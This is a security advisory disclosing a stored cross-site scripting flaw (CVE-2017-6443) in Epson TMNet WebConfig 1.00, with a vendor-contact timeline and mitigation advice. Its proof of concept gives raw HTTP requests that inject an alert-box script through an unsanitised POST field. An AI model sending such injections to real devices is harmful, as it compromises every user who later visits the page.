EPSON TMNet WebConfig 1.00 Cross Site Scripting

`Summary: Persistent cross-site scripting (XSS) in the web interface of Epson's TMNet WebConfig Ver 1.00 application allows a remote attacker to introduce arbitary Javascript via manipulation of an unsanitized POST parameter.  
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Vendor: EPSON  
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Software Link: https://c4b.epson-biz.com/modules/community/index.php?content_id=50  
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Version: 1.00  
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Identifier: CVE-2017-6443  
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Exploit Author: Michael Benich  
Contact: benichmt1 [at] protonmail.com or @benichmt1  
  
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PoC:  
  
  
1) Make a POST request using a proxy application like Burp  
  
  
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POST /Forms/oadmin_1 HTTP/1.1  
  
Host: XXX.XXX.XXX.XXX  
  
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0  
  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
  
Accept-Language: en-US,en;q=0.5  
  
Accept-Encoding: gzip, deflate  
  
Referer: http://XXX.XXX.XXX.XXX/oadmin.htm  
  
Connection: close  
  
Upgrade-Insecure-Requests: 1  
  
Content-Type: application/x-www-form-urlencoded  
  
Content-Length: 47  
  
  
  
W_AD1=<script>window.alert(0)</script>&W_Link1=&Submit=SUBMIT  
  
  
  
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2) Browsing to the main page will execute your script. This remains persistent for any user who then visits this page.  
  
  
  
GET /istatus.htm HTTP/1.1  
  
Host: XXX.XXX.XXX.XXX  
  
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0  
  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
  
Accept-Language: en-US,en;q=0.5  
  
Accept-Encoding: gzip, deflate  
  
Referer: http://XXX.XXX.XXX.XXX/side.htm  
  
Connection: close  
  
Upgrade-Insecure-Requests: 1  
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Mitigation:  
  
The application by default ships without a password - consider adding strong authentication to this portal.  
  
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Timeline:  
  
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12/1/2016 - Discovery.  
12/9/2016 - Emailed support@ , info@ , and domain-admin@ emails. No response.  
12/16/2016 - Pinged on Twitter. Recommended to contact through support.  
12/22/2016 - Reached on LinkedIn directly to individual listed as Security Engineer and asked to find proper security contact channel. No response, but the connection request was accepted.  
3/3/2017 - Disclosure  
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